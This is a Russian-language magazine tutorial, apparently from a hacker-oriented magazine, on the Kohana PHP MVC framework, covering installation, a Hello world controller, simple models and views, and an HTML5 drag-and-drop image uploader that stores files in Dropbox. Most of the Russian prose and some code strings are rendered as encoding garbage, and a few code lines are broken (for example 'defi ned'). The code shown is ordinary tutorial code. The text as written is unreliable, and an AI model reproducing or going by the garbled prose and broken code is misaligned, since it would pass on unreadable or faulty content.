ÂÉÈÎÆÒ-ÌÏÄÉËÉ ÏÓ ÉÎÓÆÑÕÆÊÒÁ ÓÜ ÁÃÓÏÍÁÓÉØÆÒËÉ ÐÏÌÔ-
ØÁÆÙÝ ÃÏÈÍÏÇÎÏÒÓÝ ËÏÍÕÏÑÓÎÏÊ ËÏÍÁÎÅÎÏÊ ÑÁÈÑÁÂÏÓËÉ. 
¯ÅÎÉ ÑÁÈÑÁÂÏÓØÉËÉ ÍÏÄÔÓ ÈÁÎÉÍÁÓÝÒà ÒÏÃÆÑÙÆÎÒÓÃÏÃÁ-
ÎÉÆÍ ÍÏÅÆÌÆÊ, ÅÑÔÄÉÆ — ÄÏÓÏÃÉÓÝ ÐÑÆÅÒÓÁÃÌÆÎÉà É Ó.Å. 

This is Kohana
Kohana — ÞÓÏ ÂÆÒÐÌÁÓÎÜÊ ÕÑÆÊÍÃÏÑË Ò ÏÓËÑÜÓÜÍ ÉÒ-
ÖÏÅÎÜÍ ËÏÅÏÍ. £ ËÁØÆÒÓÃÆ ÙÁÂÌÏÎÁ ÐÑÏÆËÓÉÑÏÃÁÎÉà, ËÁË 
ÓÜ ÔÇÆ É ÅÏÄÁÅÁÌÒà, Ã Kohana ÐÑÉÍÆÎàÆÓÒà ÐÁÓÓÆÑÎ — 
Model View Controller. 
Kohana ÐÏÌÎÏÒÓÝß ÏÂÛÆËÓÎÏ-ÏÑÉÆÎÓÉÑÏÃÁÎÁ É ÉÒÐÏÌÝÈÔÆÓ 
Ã ÐÏÌÎÏÊ ÍÆÑÆ ÃÏÈÍÏÇÎÏÒÓÉ ÐÏÒÌÆÅÎÉÖ ÃÆÑÒÉÊ ÉÎÓÆÑÐÑÆ-
ÓÁÓÏÑÁ PHP. £ ÏÓÌÉØÉÆ ÏÓ ÍÎÏÄÉÖ ÂÆÒÐÌÁÓÎÜÖ ÐÑÏÅÔËÓÏÃ Ò 
ÏÓËÑÜÓÜÍÉ ÒÏÑ×ÁÍÉ, Kohana ÑÁÒÐÑÏÒÓÑÁÎàÆÓÒà ÐÏÅ ÌÉ-
×ÆÎÈÉÆÊ BSD, Á ÎÆ GPL. ¾ÓÏ ÐÏÅÑÁÈÔÍÆÃÁÆÓ, ØÓÏ ÓÜ ÍÏÇÆÙÝ 

ÐÑÉÍÆÎàÓÝ ÅÁÎÎÜÊ ÐÑÏÅÔËÓ ÒÏÃÆÑÙÆÎÎÏ ÂÆÒÐÌÁÓÎÏ ËÁË Ã 
ÌÉØÎÜÖ, ÓÁË É Ã ËÏÍÍÆÑØÆÒËÉÖ ÐÑÏÆËÓÁÖ. 

Ставим Kohana
¥Ìà ÎÁØÁÌÁ ÐÑÏÄÔÌàÊÒà ÅÏ ÏÕÉ×ÉÁÌÝÎÏÄÏ ÒÁÊÓÁ É ÈÁÄÑÔÈÉ 
ÐÏÒÌÆÅÎßß ÃÆÑÒÉß ÕÑÆÊÍÃÏÑËÁ. ̈ ÁÄÑÔÇÆÎÎÜÊ ÁÑÖÉÃ 
ÈÁËÁØÁÊ Ë ÒÆÂÆ ÎÁ ÖÏÒÓ É ÉÈÃÌÆËÉ ÆÄÏ ÒÏÅÆÑÇÉÍÏÆ. °ÏÐÑÏ-
ÂÔÊ ÏÂÑÁÓÉÓÝÒà Ë ÅÉÑÆËÓÏÑÉÉ ÒÃÏÆÄÏ ÖÏÒÓÁ, Ã ËÏÓÏÑÔß ÓÜ 
ÉÈÃÌÆË ÕÑÆÊÍÃÏÑË É… — ÐÑÉÄÏÓÏÃÝÒà Ë ÏÂÌÏÍÔ. ®ÁÃÆÑÎàËÁ 
ÓÜ ÎÆ ÐÑÏÊÅÆÙÝ Environment Tests (ÓÆÒÓ ÏËÑÔÇÆÎÉà).

• http://goo.gl/sRjoo — ÍÏà ÂÏÌÝÙÁà ÒÓÁÓÝà ÐÑÏ 
CodeIgniter. Kohana ÂÆÑÆÓ ÒÃÏÆ ÎÁØÁÌÏ ÉÍÆÎÎÏ Ò ÞÓÏÄÏ 
ÐÑÏÆËÓÁ. ®ÆÒÍÏÓÑà ÎÁ ËÑÔÓÉÈÎÔ Kohana, ÉÎÏÄÅÁ ÎÆ 
ÄÑÆÖ ÃÏÒÐÏÌÝÈÏÃÁÓÝÒà É CodeIgniter’ÏÍ. « ÓÏÍÔ ÇÆ, 
ÑÁÈÑÁÂÏÓØÉËÉ ÃÑÏÅÆ ÂÜ ÏÐàÓÝ ÃÏÈÏÂÎÏÃÉÌÉ ÑÁÈÑÁÂÏÓËÔ.

• http://kohanaframework.org/ — ÏÕÉ×ÉÁÌÝÎÜÊ ÒÁÊÓ 
ÐÑÏÆËÓÁ Kohana. ¨ÅÆÒÝ ÓÜ ÎÁÊÅÆÙÝ ÒÁÍ ÕÑÆÊÍÃÏÑË, 
Á ÓÁËÇÆ ÃÒÆÃÏÈÍÏÇÎÔß ÅÏËÔÍÆÎÓÁ×Éß É ÐÑÉÍÆÑÜ 
ÉÒÐÏÌÝÈÏÃÁÎÉà. °ÏÒÌÆ ÐÑÏØÓÆÎÉà ÒÓÁÓÝÉ ÑÆËÏÍÆÎÅÔß 
ÒÑÁÈÔ ÐÏÒÆÓÉÓÝ ÞÓÏÓ ÑÆÒÔÑÒ.

• http://vr-online.ru — ÃÒÆÄÅÁ ÒÃÆÇÉÆ ÒÓÁÓÝÉ ÐÏ 
ÐÑÏÄÑÁÍÍÉÑÏÃÁÎÉß. £ ÐÌÁÎÆ CMF, ÑÆÒÔÑÒ ÍÏÇÆÓ 
ÐÏÖÃÁÒÓÁÓÝÒà ÎÁÌÉØÉÆÍ ÒÓÁÓÆÊ ÐÏ CodeIgniter, Drupal É 
Ó.Å.

• http://kerkness.ca/wiki/doku.php — ÖÏÑÏÙÁà 
ÎÆÏÕÉ×ÉÁÌÝÎÁà ÅÏËÔÍÆÎÓÁ×Éà ÐÏ Kohana.

×ÒÎ ÏÎ×ÈÒÀÒÜ

«ÒÓÁÓÉ, ÐÑÉÍÆÎÆÎÉÆ 
MVC ÒÁÍÏ ÐÏ ÒÆÂÆ ÎÆ 
ÒÍÏÇÆÓ ÉÈÂÁÃÉÓÝ ÓÆÂà 
ÏÓ ÐÑÏÂÌÆÍ ÐÑÏÆËÓÉ-
ÑÏÃÁÎÉà. £ÜÖÏÅ ÏÅÉÎ 
— ØÉÓÁÓÝ ÅÏËÉ!

warning

WARNING

£ÒÆ ÒÏÑ×Ü É ÒÓÁÕÕ 
ÅÌà ÑÁÈÑÁÂÏÓËÉ ÇÅÔÓ 
ÓÆÂà ÎÁ ÅÉÒËÆ.

dvd

DVD
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£ ÍÏÆÍ ÒÌÔØÁÆ ÓÆÒÓÜ ÎÁ ÈÁÐÉÒÝ Ã ÅÉÑÆËÓÏÑÉß ÖÑÁÎÆÎÉà ËÞÙÁ É ÌÏÄÏÃ 
ÓÏÇÆ ÈÁÃÆÑÙÉÌÉÒÝ ÎÆÔÅÁØÆÊ. ¥Ìà ÉÒÐÑÁÃÌÆÎÉà ÒÉÓÔÁ×ÉÉ ÎÔÇÎÏ ÃÒÆÄÏ 
ÌÉÙÝ ÃÜÒÓÁÃÉÓÝ ÐÑÁÃÁ ÎÁ ÈÁÐÉÒÝ ÅÌà ÞÓÉÖ ÅÉÑÆËÓÏÑÉÊ.  £ ÏÂÚÆÍ, ÃÜ-
ÒÓÁÃÌàÊ ÐÑÁÃÁ É ÐÑÏÂÔÊ ÏÂÎÏÃÉÓÝ ÒÓÑÁÎÉ×Ô. £ ÒÌÔØÁÆ ÔÒÐÆÖÁ ÔÃÉÅÉÙÝ 
ÓÆËÒÓ: «Your environment passed all requirements. Remove or rename 
the install.php file now». °ÏÍÉÍÏ ÑÁÅÏÒÓÎÏÄÏ ÉÈÃÆÒÓÉà Ï ÄÏÓÏÃÎÏÒÓÉ 
ÏËÑÔÇÆÎÉà ÅÌà ÑÁÂÏÓÜ ÕÑÆÊÍÃÏÑËÁ, ÓÆËÒÓ ÒÏÏÂÚÆÎÉà ÓÑÆÂÔÆÓ ÏÓ ÓÆÂà 
ÔÅÁÌÆÎÉà ÕÁÊÌÁ install.php. ®Æ ÂÔÅÆÍ ÂÑÜËÁÓÝÒà É ÃÜÐÏÌÎÉÍ ÞÓÔ 
ÐÔÒÓàËÏÃÔß ÐÑÏÒÝÂÔ. ́ ÅÁÌÉÃ ÉÎÒÓÁÌÌà×ÉÏÎÎÜÊ Ò×ÆÎÁÑÉÊ, ÐÏÐÑÏÂÔÊ 
ÏÂÎÏÃÉÓÝ ÒÓÑÁÎÉ×Ô. ¦ÒÌÉ ÓÜ ÃÒÆ ÒÅÆÌÁÌ ÐÑÁÃÉÌÝÎÏ, ÓÏ ÂÑÁÔÈÆÑ ÃÜÐÌß-
ÎÆÓ ÅÆÃÒÓÃÆÎÎÏ ØÉÒÓÔß ÒÓÑÁÎÉ×Ô Ò ÓÆËÒÓÏÍ «hello, world».

Hello world на Kohana
°ÆÑÆÅ ÓÆÍ ËÁË ÐÆÑÆÊÓÉ Ë ÑÁÒÒÍÏÓÑÆÎÉß ÐÏÌÆÈÎÏÄÏ ÐÑÉÍÆÑØÉËÁ, ÐÏ-
ÐÑÏÂÔÆÍ ÎÁËÏÌÂÁÒÉÓÝ ÒÏÂÒÓÃÆÎÎÜÊ «Hello world».  ²ÏÈÅÁÅÉÍ ÎÏÃÜÊ 
ÓÆËÒÓÏÃÜÊ ÕÁÊÌ É ÎÁÐÉÙÆÍ Ã ÎÆÍ ÒÌÆÅÔßÚÉÊ ÓÆËÒÓ:

<?php defi ned('SYSPATH') or die('No direct script access.');
class Controller_Test extends Controller {
   public function action_index()
   {
   $this->response->body('Hello world! Hello, everyone!!!');
   }
}

£ ÞÓÏÍ ËÌÏØËÆ ËÏÅÁ à ÏÐÉÒÜÃÁß ÎÁÙ ÐÆÑÃÜÊ ËÏÎÓÑÏÌÌÆÑ — ËÌÁÒÒ 
Controller_Test,  ÔÎÁÒÌÆÅÏÃÁÎÎÜÊ ÏÓ Controller. ̄ ÂÑÁÓÉ ÃÎÉÍÁÎÉÆ ÎÁ 
ÉÍà ËÌÁÒÒÁ. £ ÉÍÆÎÉ ÒÏÅÆÑÇÉÓÒà Controller (ÏÂàÈÁÓÆÌÝÎÜÊ ÐÑÆÕÉËÒ),  
Á ÐÏÒÌÆ ÎÆÄÏ ÉÅÆÓ ÎÆÐÏÒÑÆÅÒÓÃÆÎÎÏ ÎÁÈÃÁÎÉÆ ËÏÎÓÑÏÌÌÆÑÁ. ¦ÄÏ ÍÜ 
ÐÉÙÆÍ Ò ÂÏÌÝÙÏÊ ÂÔËÃÜ. £ ÍÏÆÍ ÒÌÔØÁÆ ÉÍÆÎÆÍ ËÏÎÓÑÏÌÌÆÑÁ àÃÌàÆÓÒà 
Test. «ÏÎÓÑÏÌÌÆÑÜ É ÍÏÅÆÌÉ ÅÏÌÇÎÜ ÖÑÁÎÉÓÝÒà Ã ÅÉÑÆËÓÏÑÉÉ App/
classes/controller É App/classes/model.

Создаем первую модель
°ÑÏÂÎÜÊ ËÏÎÓÑÏÌÌÆÑ Ô ÎÁÒ ÆÒÓÝ, ÓÆÐÆÑÝ ÐÏÒÍÏÓÑÉÍ, ËÁË ÏÐÉÒÜÃÁßÓÒà 
ÍÏÅÆÌÉ. ²ÎÁØÁÌÁ ÑÁÒÒÍÏÓÑÉÍ ÃÁÑÉÁÎÓ ÍÏÅÆÌÉ, ËÏÓÏÑÏÊ ÎÆ ÓÑÆÂÔÆÓÒà 
ÃÈÁÉÍÏÅÆÊÒÓÃÉÆ Ò ÂÁÈÏÊ ÅÁÎÎÜÖ. ®ÁÐÑÉÍÆÑ, ÐÑÆÅÒÓÁÃÉÍ, ØÓÏ ÎÁÍ 
ÎÔÇÎÏ ÏÐÑÆÅÆÌÉÓÝ ÍÏÅÆÌÝ myFirstModel:

class Model_myFirstModel extends Model
{
   public function calcIt (a, b) {
      return a + b;
   }
}

£ ÞÓÏÊ ÍÏÅÆÌÉ à ÏÂÛàÃÉÌ ÃÒÆÄÏ ÏÅÉÎ ÍÆÓÏÅ — calcIt(). ̄ Î ÃÜÐÏÌÎàÆÓ 
ÏÐÆÑÁ×Éß ÒÌÏÇÆÎÉà ÎÁÅ ÐÆÑÆÅÁÎÎÜÍÉ Ã ËÁØÆÒÓÃÆ ÐÁÑÁÍÆÓÑÁ ÐÆÑÆ-
ÍÆÎÎÜÍÉ. 
´ÃÜ, ÆÒÌÉ ÓÑÆÂÔÆÓÒà ÑÁÂÏÓÁÓÝ Ò ÂÁÈÏÊ ÅÁÎÎÜÖ, ÓÏ ÍÏÅÆÌÝ ÓÁËÏÄÏ ÃÉÅÁ 
ÎÆ ÐÑÏËÁÓÉÓ. £ÒÆ ÍÏÅÆÌÉ, ÐÑÆÅÎÁÈÎÁØÆÎÎÜÆ ÅÌà ÃÈÁÉÍÏÅÆÊÒÓÃÉà Ò 
²´¢¥, ÅÏÌÇÎÜ ÎÁÒÌÆÅÏÃÁÓÝÒà ÏÓ Model_Database. ®ÁÐÑÉÍÆÑ, ÎÁÍ 
ÓÑÆÂÔÆÓÒà ÎÁÐÉÒÁÓÝ ÍÏÅÆÌÝ, Ã ËÏÓÏÑÏÊ ÐÑÆÅÔÒÍÏÓÑÆÎÁ ÃÏÈÍÏÇÎÏÒÓÝ 
ÃÜÂÏÑËÉ ÅÁÎÎÜÖ ÉÈ ÓÁÂÌÉ×Ü users. ³ÁËÁà ÍÏÅÆÌÝ ÂÔÅÆÓ ÃÜÄÌàÅÆÓÝ 
ÐÑÉÍÆÑÎÏ ÓÁË:

class Model_myFirstDBModel extends Database_Model
{
   public function selectData() {
      return $this -> db -> query('select userName,
 pass from users');
   }
}

Делаем первое представление
³Ü ÈÎÁÆÙÝ, ØÓÏ ÐÑÆÅÒÓÁÃÌÆÎÉà Ã ÁÑÖÉÓÆËÓÔÑÆ MVC ÐÑÆÅÎÁÈÎÁØÆÎÜ ÅÌà 

ÏÓÏÂÑÁÇÆÎÉà ÒÄÆÎÆÑÉÑÏÃÁÎÎÏÄÏ ËÏÎÓÆÎÓÁ. ÏÅÆÌÝ ÐÏÌÔØÁÆÓ ÅÁÎÎÜÆ Ã 
ÒÜÑÏÍ ÃÉÅÆ É ÃÏÈÃÑÁÚÁÆÓ ÉÖ ËÏÎÓÑÏÌÌÆÑÔ, Á ÓÏÓ, Ã ÒÃÏß ÏØÆÑÆÅÝ, ÅÏÌ-
ÇÆÎ ÐÆÑÆÅÁÓÝ ÉÖ ÐÑÆÅÒÓÁÃÌÆÎÉß. ́ ÇÆ ÃÏ ÃÝßÙËÆ ÒÏÈÅÁÆÓÒà ËÑÁÒÉÃÁà 
ÏÂÆÑÓËÁ, ÄÏÓÏÃÁà Ë ÃÜÃÏÅÔ ÐÏÌÝÈÏÃÁÓÆÌß.  
£ÒÆ ÒÏÈÅÁÎÎÜÆ ÐÑÆÅÒÓÁÃÌÆÎÉà ÅÏÌÇÎÜ ÖÑÁÎÉÓÝÒà Ã ÐÁÐËÆ views, 
ÑÁÒÐÏÌÏÇÆÎÎÏÊ Ã ÅÉÑÆËÓÏÑÉÉ ÓÃÏÆÄÏ ÐÑÉÌÏÇÆÎÉà. °Ï ÔÍÏÌØÁÎÉß 
ÅÉÑÆËÓÏÑÉÆÊ ÐÑÉÌÏÇÆÎÉà àÃÌàÆÓÒà Application. ²ÏÈÅÁÃÁÓÝ ÐÑÆÅÒÓÁÃ-
ÌÆÎÉà ØÑÆÈÃÜØÁÊÎÏ ÐÑÏÒÓÏ. ±ÁÅÉ ÞËÒÐÆÑÉÍÆÎÓÁ ÐÏÐÑÏÂÔÆÍ ÒÏÈÅÁÓÝ 
ÐÑÆÅÒÓÁÃÌÆÎÉÆ about. ¦ÄÏ ËÏÅ ÂÔÅÆÓ ÃÜÄÌàÅÆÓÝ ÐÑÉÍÆÑÎÏ ÓÁË:

<html>
   <head>
   <title><?php echo $title ?></title>
   </head>
…..

À ÒÐÆ×ÉÁÌÝÎÏ ÎÆ ÒÓÁÌ ÐÑÉÃÏÅÉÓÝ ÏÒÓÁÌÝÎÔß ØÁÒÓÝ ËÏÅÁ, ÓÁË ËÁË ÓÁÍ 
ÍÏÇÆÓ ÐÑÉÒÔÓÒÓÃÏÃÁÓÝ ÁÂÒÏÌßÓÎÏ ÌßÂÏÊ html-ËÏÅ. ®ÁÒ ÉÎÓÆÑÆÒÔÆÓ 
ÓÏÌÝËÏ ÓÏ, ØÓÏ ÑÁÒÐÏÌÏÇÆÎÏ ÍÆÇÅÔ ÓÆÄÁÍÉ <title>. ³ÁÍ à ÏÓÐÑÁÃÌàß 
ÎÁ «ÐÆØÁÓÝ» ÈÎÁØÆÎÉÆ ÏÅÎÏÉÍÆÎÎÏÊ ÐÆÑÆÍÆÎÎÏÊ. °ÏÌÔØÁÆÓÒà, ØÓÏ 
ÈÁÄÏÌÏÃÏË ÒÓÑÁÎÉ×Ü ÂÔÅÆÓ ÔÒÓÁÎÁÃÌÉÃÁÓÝÒà ÉÈÃÎÆ — ÉÈ ËÏÎÓÑÏÌÌÆÑÁ. 
³ÆÐÆÑÝ ÐÏÒÍÏÓÑÉÍ ÎÁ ÏÂÎÏÃÌÆÎÎÜÊ ËÏÅ ÑÁÎÆÆ ÑÁÒÒÍÏÓÑÆÎÎÏÄÏ ÎÁÍÉ 
ËÏÎÓÑÏÌÌÆÑÁ:

$about_page = View::factory('about');
$about_page -> title = 'ǽȦȢ ȥȦȤȔȡȜȪȔ about';
$this -> response -> body ($about_page);

£ ÐÆÑÃÏÊ ÒÓÑÏËÆ à ÒÃàÈÜÃÁß ÐÆÑÆÍÆÎÎÔß about_page Ò ÐÑÆÅÒÓÁÃÌÆ-
ÎÉÆÍ about. ¥Ìà ÞÓÏÄÏ à ÉÒÐÏÌÝÈÔß ËÏÎÒÓÑÔË×Éß View::factory. ¥ÁÌÆÆ à 
ÔÒÓÁÎÁÃÌÉÃÁß ÐÆÑÆÍÆÎÎÔß title É ÃÜÃÏÇÔ ÒÁÍÏ ÐÑÆÅÒÓÁÃÌÆÎÉÆ.

Хостинг изображений
À ÅÏÌÄÏ ÅÔÍÁÌ ÎÁÒØÆÓ ÐÑÉÍÆÑÁ ÅÌà ÒÆÄÏÅÎàÙÎÆÊ ÒÓÁÓÝÉ. ̄ ÂÜØÎÏ 
ÐÑÉ ÏÂÈÏÑÆ ÕÑÆÊÍÃÏÑËÏÃ ÐÉÙÔÓ ÂÌÏÄ ÉÌÉ ÅÑÔÄÏÆ ÓÉÐÉØÎÏÆ web-
ÐÑÉÌÏÇÆÎÉÆ. °ÑÉÈÎÁßÒÝ ØÆÒÓÎÏ, ÒÎÁØÁÌÁ à ÓÁË É ÒÅÆÌÁÌ — ÎÁÂÑÏÒÁÌ 
ÂÌÏÄ Ò ÐÑÏÒÓÏÊ ÒÉÒÓÆÍÏÊ ÁÃÓÏÑÉÈÁ×ÉÉ ÐÏÌÝÈÏÃÁÓÆÌÆÊ, ÁÅÍÉÎËÏÊ É Ó.Å. 
®Ï ÐÏÓÏÍ ÐÏÅÔÍÁÌ (ÃÏÏÂÚÆ-ÓÏ ÞÓÏ à ÓÆÂà ÎÁÒÉÌÝÒÓÃÆÎÎÏ ÐÆÑÆÔÂÆÅÉÌ 
:) — ÐÑÉÍ. ÑÆÅ.), ØÓÏ ÞÓÏ ÒËÔØÎÏ É ÑÆÙÉÌ ÒÅÆÌÁÓÝ ØÓÏ-ÎÉÂÔÅÝ ÐÏÉÎÓÆ-
ÑÆÒÎÆÊ. £ ÉÓÏÄÆ ÐÑÉÅÔÍÁÌ ÑÁÒÒÍÏÓÑÆÓÝ ÓÁËÏÆ ÐÑÉÌÏÇÆÎÉÆ, ËÁË ÖÏÒÓÉÎÄ 
ÉÈÏÂÑÁÇÆÎÉÊ. ³ÁËÉÖ ÐÑÏÆËÓÏÃ Ã ÉÎÆÓÆ ÐÑÔÅ ÐÑÔÅÉ, É ÎÆÒÍÏÓÑà ÎÁ 
ÍÎÏÄÏÏÂÑÁÈÉÆ ÃÜÂÏÑÁ, ËÁÇÅÜÊ ÉÍÆÆÓ ÒÃÏß ÁÔÅÉÓÏÑÉß.
À ÐÏÎÉÍÁß, ØÓÏ ÅÌà ÂÏÌÆÆ-ÍÆÎÆÆ ÑÆÁÌÝÎÏÄÏ ÌÉØÎÏÄÏ ÖÏÒÓÉÎÄÁ ÉÈÏ-
ÂÑÁÇÆÎÉÊ ÎÔÇÎÏ ÎÆÒËÏÌÝËÏ ÄÉÄÁÂÁÊÓ ÍÆÒÓÁ. ®Á ÏÂÜØÎÏÍ ÃÉÑÓÔÁÌÝÎÏÍ 
ÖÏÒÓÉÎÄÆ ÐÏÌÔØÉÓÝ ÉÖ  ÅÏÑÏÄÏÃÁÓÏ, Á ÑÁÈ ÓÁË, ÓÏ É ÐÏÌÝÈÜ ÏÓ ÓÁËÏÄÏ 
ÖÏÒÓÉÎÄÁ ÂÔÅÆÓ ÍÁÌÏ. © ÓÔÓ à ÐÏÅÔÍÁÌ, Á ÐÏØÆÍÔ ÂÜ ÎÆ ÈÁßÈÁÓÝ Ã ËÁ-
ØÆÒÓÃÆ ÖÑÁÎÉÌÉÚÁ ÏÓÅÆÌÝÎÜÊ ÁËËÁÔÎÓ ÉÈÃÆÒÓÎÏÄÏ ÃÒÆÍ Dropbox? °Ï 
ÔÍÏÌØÁÎÉß ËÁÇÅÜÊ ÁËË ÐÏÈÃÏÌàÆÓ ÖÑÁÎÉÓÝ 2 ÄÉÄÁÂÁÊÓÁ ÒÓÁÕÕÁ, ÎÏ ÆÄÏ 
ÂÆÈ ÏÒÏÂÜÖ ÐÑÏÂÌÆÍ ÑÆÁÌÝÎÏ ÐÑÏËÁØÁÓÝ ÅÏ ÃÏÒÝÍÉ. ¡ ÃÏÓ ÃÏÒÆÍÝ ÄÉÄ 
ÃÐÏÌÎÆ ÖÃÁÓÉÓ ÅÌà ÉÒÐÏÌÝÈÏÃÁÎÉà Ã ÌÉØÎÜÖ ×ÆÌàÖ. ®ÆÍÎÏÄÏ ÐÏËÔÍÆËÁÃ 
É Ã ÏØÆÑÆÅÎÏÊ ÑÁÈ ÈÁÅÆÑÇÁÃ ÒÓÁÓÝß, à ÎÁÂÑÏÒÁÌ ÎÆÂÏÌÝÙÏÊ ÐÑÏÆËÓ. À 
ÎÆ ÒÓÁÌ ÒÉÌÝÎÏ ÉÈÃÑÁÚÁÓÝÒà, Á ÑÆÁÌÉÈÏÃÁÌ ÌÉÙÝ:
• ́ ÅÏÂÎÔß ÈÁÄÑÔÈËÔ ÉÈÏÂÑÁÇÆÎÉÊ. ®Á ÂÏÌÝÙÉÎÒÓÃÆ ÏÐÑÏÂÏÃÁÎÎÜÖ 
ÍÎÏÊ ÖÏÒÓÉÎÄÁÖ ÉÈÏÂÑÁÇÆÎÉÊ ÅÌà ÏÓÐÑÁÃËÉ ÕÁÊÌÏÃ ÓÑÆÂÏÃÁÌÏÒÝ 
ÃÜÂÑÁÓÝ ÎÔÇÎÜÊ ÕÁÊÌ ÐÑÉ ÐÏÍÏÚÉ ÒÓÁÎÅÁÑÓÎÏÄÏ ÅÉÁÌÏÄÁ ÏÓËÑÜÓÉà 
ÕÁÊÌÏÃ. ¾ÓÏ ÎÆ ÏØÆÎÝ ÔÅÏÂÎÏ, ÓÆÍ ÂÏÌÆÆ, ÃÏÈÍÏÇÎÏÒÓÉ HTML5 ÌÆÄËÏ É 
ÐÑÏÒÓÏ ÐÏÍÏÄÁßÓ ÑÆÁÌÉÈÏÃÁÓÝ Drag&Drop-ÉÎÓÆÑÕÆÊÒ É ÒØÉÓÁÓÝ ÕÁÊÌ Ò 
ËÏÍÐÁ ÐÏÌÝÈÏÃÁÓÆÌà ÐÑÉ ÐÏÍÏÚÉ FileAPI.
• °ÆÑÆÅÁØÔ ÕÁÊÌÏÃ Ã DropBox. ¥Ìà ÖÑÁÎÆÎÉà ÕÁÊÌÏÃ à ÃÜÂÑÁÌ ÐÑÆÅÏ-
ÐÑÆÅÆÌÆÎÎÔß ÅÉÑÆËÓÏÑÉß public. £ÒÆ ÖÑÁÎàÚÉÆÒà Ã ÎÆÊ ÕÁÊÌÜ ÍÏÄÔÓ 
ÂÜÓÝ ÑÁÒÙÁÑÆÎÜ ÅÌà ÅÑÔÄÉÖ ÐÏÌÝÈÏÃÁÓÆÌÆÊ. Dropbox ÁÃÓÏÍÁÓÉØÆÒËÉ 
ÄÆÎÆÑÉÓ Ë ÎÉÍ ÒÒÜÌËÉ. ©ÍÆÎÎÏ ÞÓÁ ÒÒÜÌËÁ É ÂÔÅÆÓ ÉÒÐÏÌÝÈÏÃÁÓÝÒà ÅÌà 
ÐÆÑÆÅÁØÉ ËÌÉÆÎÓÔ. ¥Á, ËÏÎÆØÎÜÊ ÁÅÑÆÒÏË ÐÏÌÔØÁÆÓÒà ÅÌÉÎÎÏÃÁÓÜÍ, ÎÏ 
ÐÑÉ ÇÆÌÁÎÉÉ ÆÄÏ ÍÏÇÎÏ ÔËÏÑÏÓÉÓÝ. ²ÆÑÃÉÒÜ ÅÌà ÔËÏÑÁØÉÃÁÎÉà ÒÒÜÌÏË 
ÓÆÂÆ Ã ÐÏÍÏÚÝ.
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Внутренности проекта
´ÃÜ, ÐÑÉÃÆÒÓÉ ÐÏÌÎÜÆ ÌÉÒÓÉÎÄÉ ÐÑÏÆËÓÁ Ã ÒÓÁÓÝÆ à ÎÆ ÍÏÄÔ, ÐÏ-
ÒËÏÌÝËÔ ËÏÅÁ (ÏÒÏÂÆÎÎÏ ÏÕÏÑÍÌÆÎÉà) ÅÏÒÓÁÓÏØÎÏ ÍÎÏÄÏ. ̈ ÅÆÒÝ à 
ÌÉÙÝ ÐÏàÒÎß ÏÒÎÏÃÎÜÆ ËÌßØÆÃÜÆ ÍÏÍÆÎÓÜ. ©ÓÁË, ÎÁØÎÆÍ ÑÁÈÂÏÑ Ò 
ËÏÎÓÑÏÌÌÆÑÏÃ. ¥Ìà ÐÑÏÆËÓÁ ÍÎÆ ÐÏÓÑÆÂÏÃÁÌÒà ÏÅÉÎ ËÏÎÓÑÏÌÌÆÑ, ÏÅÎÏ 
ÐÑÆÅÒÓÁÃÌÆÎÉÆ É ÏÅÎÁ ÍÏÅÆÌÝ. £ ËÏÎÓÑÏÌÌÆÑÆ à ÏÂÛàÃÉÌ ÅÃÁ ÍÆÓÏÅÁ-
ÒÏÂÜÓÉà. °ÆÑÃÏÆ ÃÏÈÎÉËÁÆÓ, ËÏÄÅÁ ÐÏÌÝÈÏÃÁÓÆÌÝ ÏÂÑÁÚÁÆÓÒà Ë ÏÒÎÏÃ-
ÎÏÊ ÒÓÑÁÎÉ×Æ, Á ÃÓÏÑÏÆ — Ã ÒÌÔØÁÆ ÔÒÐÆÙÎÏÊ ÈÁÄÑÔÈËÉ ÉÈÏÂÑÁÇÆÎÉà 
ÎÁ ÒÆÑÃÆÑ (ÄÆÎÆÑÉÑÔÆÓÒà ÒÓÑÁÎÉ×Á ÒÏ ÒÒÜÌËÏÊ ÎÁ ÕÁÊÌ).
°ÆÑÃÏÆ ÐÑÆÅÒÓÁÃÌÆÎÉÆ — ÒÁÍÏÆ ÐÑÏÒÓÏÆ. °Ï ÕÁËÓÔ, ÞÓÏ — ÒÓÑÁÎÉ×Á 
Ò ÎÆÂÏÌÝÙÉÍ ÐÏÌÆÍ, ÎÁ ËÏÓÏÑÏÆ ÎÔÇÎÏ ÐÆÑÆÓÁÒËÉÃÁÓÝ ÕÁÊÌÜ.  «ÏÅ 
ÒÓÑÁÎÉ×Ü ÐÑÏÒÓ ÅÏ ÂÆÈÏÂÑÁÈÉà:

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>ǤșȠȢȡȥȦȤȔȪȜȳ ȤȔȕȢȦȯ CMF Kohana Șȟȳ ][ȔȞșȤȔ</title>
<link href="style.css" rel="stylesheet" type="text/css" />

<script src="html5uploader.js"></script>
</head>

<body onload="new uploader('drop', 'status', 'uploader.php',
   'list');">
<div id="box">
   <div id="status">ǯșȤșȦȔȭȜ ȡȔ Ƞșȡȳ ȨȔȝȟ</div>
   <div id="drop"></div>  
</div>
<div id="list"></div>
</body>
</html>

£ ËÏÅÆ à ÏÐÑÆÅÆÌàß ÐÑÏÒÓÆÎÝËÔß ÑÁÈÍÆÓËÔ É ÐÏÅËÌßØÁß ÄÏÓÏÃÔß ÂÉ-
ÂÌÉÏÓÆËÔ html5uploader. £ ÞÓÏÊ JS-ÂÉÂÌÉÏÓÆËÆ ÔÇÆ ÑÆÁÌÉÈÏÃÁÎÏ ÃÒÆ 
ÎÆÏÂÖÏÅÉÍÏÆ ÅÌà ÒÏÈÅÁÎÉà ËÑÁÒÉÃÏÊ html5-ÒÓÑÁÎÉ×Ü ÅÌà ÐÆÑÆÅÁØÉ 
ÕÁÊÌÏÃ ÎÁ ÒÆÑÃÆÑ. ¥Ìà ÐÆÑÆÅÁØÉ ÕÁÊÌÁ ÅÏÒÓÁÓÏØÎÏ ÈÁÂÉÎÅÉÓÝ ÎÁ ÒÏ-
ÂÜÓÉÆ onload ÒÏÈÅÁÎÉÆ ÞËÈÆÍÐÌàÑÁ ÏÂÛÆËÓÁ uploader. 
£ ËÏÎÒÓÑÔËÓÏÑ ÏÂÛÆËÓÁ ÎÆÏÂÖÏÅÉÍÏ ÐÆÑÆÅÁÓÝ ÒÌÆÅÔßÚÉÆ ÐÁÑÁÍÆÓÑÜ:

Иллюстрация наследования ресурсов
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1. id ÂÌÏËÁ, ÎÁ ËÏÓÏÑÜÊ ÐÏÌÝÈÏÃÁÓÆÌÝ ÂÔÅÆÓ ÃÜÐÏÌÎàÓÝ ÐÆÑÆÎÏÒ ÉÈÏ-
